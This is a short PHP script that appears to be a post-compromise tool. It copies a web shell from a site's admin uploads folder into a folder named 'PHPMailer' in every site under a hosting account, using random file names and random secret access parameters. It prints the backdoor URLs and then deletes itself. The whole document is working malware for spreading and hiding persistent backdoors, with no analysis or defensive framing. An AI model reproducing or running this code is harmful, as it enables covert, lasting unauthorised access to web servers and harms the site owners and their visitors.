function tt($length = 6) { return substr(str_shuffle(str_repeat($x='0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', ceil($length/strlen($x)) )),1,$length); } $path = "/home1/embaswor/"; $fullsh = "/home1/embaswor/lionsclubbanjara.org/admin/uploads/images/1731565705_67359889082d0.php"; $dir = new DirectoryIterator("$path"); foreach ($dir as $fileinfo) { if ($fileinfo->isDir() && !$fileinfo->isDot()) { $hpme = $fileinfo->getFilename(); $rr = tt(6); $newfold = 'PHPMailer'; $new_path = "$hpme/$newfold"; if (!is_dir($new_path)) { mkdir("$path/$new_path"); } if(copy("$fullsh","$path/$new_path/$rr.php")) { # rand param $copied = "$path/$new_path/$rr.php"; $param_name = tt(13); $param_value = tt(12); $copied_content = file_get_contents($copied); $updatedContents = str_replace("MFLMFMMDS0097", $param_name, $copied_content); $updatedContents = str_replace("dlmqfjfzefpm", $param_value, $updatedContents); file_put_contents($copied, $updatedContents); #echo $copied."
"; #unlink(__FILE__); #die(); $var = "http://$new_path/$rr.php?$param_name=$param_value"; $patt = "/^https?:\\/\\/(?:www\\.)?[-a-zA-Z0-9@:%._\\+~#=]{1,256}\\.[a-zA-Z0-9()]{1,6}\\b(?:[-a-zA-Z0-9()@:%_\\+.~#?&\\/=]*)$/"; if( preg_match($patt, $var)) { echo "$var
"; } } } } unlink(__FILE__);